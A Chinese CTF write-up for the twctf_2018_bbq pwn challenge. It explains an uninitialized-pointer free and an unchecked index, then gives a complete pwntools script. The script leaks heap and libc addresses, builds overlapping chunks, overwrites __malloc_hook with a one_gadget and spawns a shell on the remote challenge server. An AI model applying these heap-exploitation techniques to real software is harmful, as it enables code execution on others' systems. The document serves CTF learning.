twctf_2018_bbq

161 篇文章 9 订阅
161 篇文章 9 订阅

twctf_2018_bbq

首先,检查一下程序的保护机制

然后我们用IDA分析一下

在delete功能里,ptr指针存在未初始化的漏洞,因此可以free在栈上伪造的地址,条件是ptr->flag得满足要求,另外index下标没有检查,这也是一个漏洞。

由于getInput后面的length固定,因此我们最开始只能将栈上的ptr指针低1字节覆盖为0,因此,我们需要在堆里对应的伪造伪造好chunk,然后free掉,形成ovelap chunk。

Free时还要特意伪造好flag,否则不能通过检查,并且add_food里使用的strdup来申请堆,因此遇到\0会截断,而flag的值不足8字节,因此最多伪造到flag,比较难构造。

另外需要注意的是,本题堆大小至多0x50,因此想要用fastbin attack,还得借助amount,由于程序中使用链表管理节点,因此在形成overlap chunk以后,我们伪造链表的next指针为malloc_hook上方某处,然后通过add_food,匹配name相同后,就直接对i->amount进行了修改,我们令i为malloc_hook_addr - 0x30,那么name就是\x00,通过add_food(‘\x00’,0x31),可以将malloc_hook_addr – 0x28修改为0x31,这个0x31就可以给我们伪造chunk的size头了。

同时,在堆里伪造程序中链表结构体时,还得借助amount,不然没法实现同时修改fastbin里那个chunk的size和fd指针。

就是构造麻烦了点。

#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./twctf_2018_bbq',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',26505)
libc = ELF('./libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget = 0xf66f0

def buy(name,amount):
   sh.sendlineafter('Choice:','1')
   sh.sendlineafter('food name >>',name)
   sh.sendlineafter('amount >>',str(amount))

def cook(name,index = -1):
   sh.sendlineafter('Choice:','2')
   sh.sendlineafter('which food >>',name)
   if index != -1:
      sh.sendlineafter('griddle index >>',str(index))

def delete(index):
   sh.sendlineafter('Choice:','3')
   sh.sendlineafter('griddle index >>',str(index))

buy('a',100)
cook('a',10)
buy('b'*0x20,1)
delete(10)
buy('c'*0x10 + p64(0xDEADBEEF11),1) #offset = 0x100
cook('a',11) #offset = 0x120
cook('a',12) #offset = 0x140
delete(11)
buy(p64(0xDEADBEEF11),1) #offset = 0x160
cook('a',13) #offset = 0x180
buy('d'*0x10,1) #offset = 0x1A0
buy('h'*0x10 + p64(0xDEADBEEF11),1) #offset = 0x200
delete(13)
buy(p64(0xDEADBEEF11),1)
cook('a',14) #offset =
cook('a',15)
cook('a',16)
cook('a',17)

delete(12)  #在栈上留下了一个堆地址
cook('a'*0x27) #覆盖堆地址的低1字节为0,正好指向offset=0x100的那个堆
delete(100) #ptr指针未初始化,free掉了offset=0x100的那个堆
sh.sendlineafter('Choice:','1')
sh.recvuntil('* ')
sh.recvuntil('* ')
sh.recvuntil('* ')
sh.recvuntil('* ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
sh.sendlineafter('food name >>','c')
sh.sendlineafter('amount >>','0')

buy('c'*0x8 + p16(0x1C1),2) #offset=0x140,伪造一个unsorted bin chunk
cook('a',18)
buy('e'*0x3E,1)
cook('a',19)
cook('a',20)
for i in range(21,30):
   cook('a',i)


cook('a'*0x28 + p64(heap_addr + 0x20)) #修改栈上ptr指针为fake_chunk
#形成overlap chunk
delete(100) #释放offset=0x150的fake_chunk

buy('f'*0x30 + p64(heap_addr  - 0x10),1)
delete(18)
buy(p64(heap_addr + 0xA0),1)
sh.sendlineafter('Choice:','1')
sh.recvuntil('hhh')
sh.recvuntil('* ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
one_gadget_addr = libc_base + one_gadget
realloc_addr = libc_base + realloc_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
sh.sendlineafter('food name >>','c')
sh.sendlineafter('amount >>','0')
delete(19)
buy('a'*0x10 + p64(malloc_hook_addr - 0x30),1) #将malloc_hook_addr接入到程序中的链表节点
buy('\x00',0x31) #在malloc_hook_addr - 0x28处写上0x31这个数据

#delete(16)
delete(20)
buy(p64(heap_addr),1)
delete(16) #放入fastbin
#delete(20)
#buy('i'*0x10,0x20)
buy('i'*0x10,0x31) ##这一个的0x31用来伪造堆的size
delete(17)
delete(21)
buy(p64(0xDEADBEEF11),1)

cook('a'*0x28 + p64(heap_addr + 0x120)) #修改栈上ptr指针为当前这个chunk
delete(100) #释放这个chunk
delete(22)
buy('j'*0x10 + p64(heap_addr + 0x200),1)
#现在0x30的fastbin与unsorted bin重合
delete(23)
buy(p64(malloc_hook_addr - 0x30),0x91) #现在0x30的那个fastbin size变为了0x20,fd指向了malloc_hook_addr - 0x30
#把0x30的那个fastbin的size加到0x30
buy('\x00',0x10)

#以下操作将形成head->next->next = NULL这样的布局
delete(24)
delete(25)
buy(p64(0xDEADBEEF11),1)
cook('a'*0x28 + p64(heap_addr + 0x270)) #修改栈上ptr指针为这个chunk
delete(100) #释放这个chunk
delete(26)
buy('k'*0x30 + p64(heap_addr + 0x500),1)

delete(28)
buy('l'*0x20,1) #取出第一个0x30的fastbin
#raw_input()
delete(29)
buy('m'*0x20 + p64(one_gadget_addr),1) #申请到malloc_hook,改写malloc_hook
#getshell
cook('l'*0x20,'\x00')

sh.interactive()

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值